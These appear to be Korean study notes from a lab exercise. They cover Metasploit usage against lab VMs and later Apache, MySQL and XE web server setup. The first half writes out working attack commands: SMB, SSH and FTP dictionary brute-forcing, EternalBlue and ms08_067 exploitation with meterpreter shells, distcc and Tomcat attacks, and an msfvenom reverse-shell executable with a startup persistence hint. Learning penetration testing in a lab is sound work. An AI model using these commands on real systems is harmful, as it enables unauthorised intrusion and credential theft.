Passion

[메타스플로잇]

01. 특징

 - 취약점 분석, 자동화, 보안식별

02. 활용

 - 취약점 분석,진단,침투 테스트

03. 용어정리

 1) 익스플로잇(Exploit) : 시스템, 서비스 공격 방법(행위)

 2) 페이로드(Payload) : 공격 코드

 3) 모듈 : 루비(Ruby)언어의 모듈

 4) 세션 : 공격자와 공격 대상자와의 연결

04. 라이브러리/모듈

05. 모듈

 1) Exploit

 2) auxiliary : 보조 모듈

 3) Post: 2차공격

 4) Payload : 공격 코드

06. 인터페이스

 1) GUI : armitage

 2) TUI(CLI) : msfconsole

 3) msfcli

 4) msfweb

07. msfconsole 명령어

 1) help : 도움말

 2) search : 모듈 검색

 3) use : 특정 모듈 연결

 4) info : 정보 출력

 5) set : 모든 설정

 6) show : 출력

 7) exploit : 모듈 실행, 공격 명령

[칼리리눅스]

msfdb init   //최초 한번만 실행해주면 된다.

service postgresql restart //최초 한번만 해주면 된다.

systemctl enable postgresql

db_status //db 연결

 apt-get install -y metasploit-framework zlib1g.dev libpcap-dev libsqlite-dev openssl //업데이트

msfconsole //실행

use auxiliary/scanner/smb/smb_version    // smb scan

options 

//설정할 것을 확인할 수 있음. yes로 되어있는 것은 필수로 설정해줘야함

set rhosts 192.168.232.120  //rhost로 공격대상자 ip 설정

set threads 256  //스레드 256개 즉 , 속도 빨라짐

options //확인

run 실행   //스캐닝 확인 운영체제와 사용자이름 워크그룹등 확인

back 맨 처음으로 돌아감.

use auxiliary/scanner/ssh/ssh_version  //ssh 스캔

set rhosts 192.168.232.130

run

[무작위 대입 공격]

[windows7]

use auxiliary/scanner/smb/smb_login

option //설정할 것 찾기.

set rhosts 192.168.232.120

set smbuser test

set smbpass root

run  //실행 

사전파일 생성후, 사전파일로 비번찾기  

(id는 userpass_file)

use auxiliary/scanner/smb/smb_login 

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행

msf5 > use auxiliary/scanner/ssh/ssh_login

set username test

set password root

set stop_on_success true   //비밀번호를 찾으면 멈춤

run  //실행파일

사전파일 생성후, 사전파일로 비번찾기

사전파일 위치 /root/passwd.txt

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행

[ftp로 비번찾기]

난 ftp포트를 2121로 변경했기 때문에 변경까지했다.

set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

run

id와 비번 둘다 사전파일로 찾기.

set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

set user_file /root/id.txt

run

[취약점 코드]

 -국제 공통 코드 : CVE-2018-0123        //2018년에발생 123번째

 - MS사 : ms08-0123          

// ms17_010 == 국제 공통 코드 CVE-2017-0143

[상대방 windows 7로 직접 침투]

//ms 17년에 10번째 블루스크린을 뜨게함.

use exploit/windows/smb/ms17_010_eternalblue  

set payload windows/x64/meterpreter/bind_tcp

meterpreter > shell   //windows7 에 접속

//mkdir hi로 파일을 만듦.

//아래와 같이 생성됨.

set payload windows/x64/shell/bind_tcp

exploit  //실행

[상대방 windows xp로 직접 침투]

use exploit /windows/smb/ms08_067_netapi 

set payload windows/meterpreter/bind_tcp

set rhosts 100.100.100.138 //공격대상자 아이피

set lport 443

exploit

meterpreter shell 입력 //원격접속

이미지와 같이 폴더가 생성됨.

 //빨간 박스 저장경로

 

[reverse_tcp]

 악성코드를 만들어야한다.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.232.100 lport=4444 -f exe > /root/virus.exe

shell:startup  //부팅 시에 자동으로 실행되게함.

sysinfo //원격접속한 컴퓨터의 정보확인

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

metasploitable2   //취약점 모아놓은 툴

다운받고 vmware로 오픈

login msfadmin

pass msfadmin

sudo -s 

msfadmin //root접속

[톰캣을 통해 리눅스 시스템 진입]

192.168.232.233(metasploitable2ip):8180  

[비번 찾기] 

 use auxiliary/scanner/http/tomcat_mgr_login

ls cat 명령어 다사용 가능

cat /etc/passwd

[일반유저 권한으로 리눅스침투]

use exploit/unix/misc/distcc_exec 

set payload cmd/unix/bind_ruby

set rhosts 192.168.232.233

exploit

windows7에서

xe 설치 아래 링크 들어가서 다운

https://www.xpressengine.com/

sulinux server에서

알드라이브로 test3 폴더에 넣어놓자. //ftp로 넣으면 된다.

unzip xe 로 압축해제

mv ex ./public_html

chmod 707 xe -R

Windows7

http://test3.co.kr/xe/

suliunx server

1. service mysqld restart   //mysql재시작

2. mysql -p mysql         //접속

3. show databases;        //데이터베이스 목록

4. create database test2;    //test2라는 db 생성

5. flush privileges;  //즉시반영

6. show databases;    //test2만들어진 것을 확인

7. insert into user(host,user,password)        values('localhost','test2',password('root'));   //user테이블에 삽입

8. flush privileges;  //즉시반영

9. grant all privileges on test2. * to test2@localhost identified by 'root';   //권한 부여

10. flush privileges;  //즉시반영

11. service mysqld restart

12. select host,user,password from user;

windows7  //설정한 값 대로 주자.

vi /usr/local/apache/conf/extra/httpd-vhosts.conf  //xe경로를 매핑

service httpd restart 

설치가 완료되면 뜨는 화면에서 설정을 들어간다.

경로를 변경

test3.co.kr 로접속 했을 시 아래와 같이 뜬다.

CentOS

create database mbc;

flush privileges; 

insert into user(host,user,password)        values('192.168.232.130','mbc',password('root'));   //210만 가능

values('192.168.232.%','mbc',password('root'));   //c클래스 전체

values('%','mbc',password('root'));    //모든호스트 가능

Windows 7

 //DB호스트네임에 CentOS ip 입력 한다.

apmtools  //apache mysql php 설치툴

#apmtools 입력하구 아래와 같이 진행

다 설치후 리붓

아래와 같이 뜨면 다 설치가 된 것이다.

 /usr/local/apache/htdocs/index.html 화면이다.

따로 따로 설치하려면 apache -> mysql -> php 순으로 설치

/usr/local  //설치된 내용들이 존재

vi /usr/local/apache/conf/httpd.conf

/usr/local/apache/  //아파치 서버 내용들

ServerRoot     //절대경로

Listen 80       //포트 지정

User daemon  //지정해주지 않으면 root권한으로 됨.

Group daemon //지정해주지 않으면 root권한으로 됨.

ServerAdmin     //주인 이메일

DocumentRoot //첫화면에 나오는 파일

DirectoryIndex  //제일 먼저 보여주는 화면

ErrorLog     //에러 로그

아파치 가상호스트 기능

dns 서버를 구축한 리눅스에서 test 2 3 아이디 생성

chmod 775 test* //권한을 부여해줘야 된다.

vi /home/test/public_html/index.html

아무말이나 입력

vi /home/test2/public_html/index.html

아무말이나 입력

vi /usr/local/apache/conf/extra/httpd-vhost.conf

//이런식으로 설정해두면

이렇게 test.co.kr/~test2을 test2.co.kr로 간단히 접속할 수 있게 된다.

네이버 블로그 같이 한 아파치서버로 여러개의 웹사이트를 운영하는 방법이다.

디렉터리 리스트 취약점

index.html 파일이 없으면  안에 있는 파일들이 전부 출력된다.

해결법

vi /usr/local/apache/conf/extra/httpd-userdir.conf

Indexes << 라는 문구를 지우면

이와 같이 전체 목록이 보이지 않게 된다.

접근통제

vi /usr/local/apache/conf/extra/httpd-userdir.conf

[CentOS7 apm]

less //읽기.

yum list installed [패키지명]  //다운받은 목록 확인

yum -y install mariadb*  //db설치

yum -y install httpd*     //아파치설치

which httpd //httpd 위치

whereis httpd //httpd의 관련된 모든 항목

yum -y install php*  --skip-broken     //php설치

yum -y install php-mysql --skip-broken  //php mysq연동

less /etc/httpd/conf/httpd.conf //3번쨰 줄

http://httpd.apache.org/docs/2.4/

 //아파치에 관한 설명이 한글로 되어 있음

ServerRoot "/etc/httpd"  //글로벌 전역변수로 설정했으므로 따로 안써줘도 된다.

require all denied //보안에 관련됨.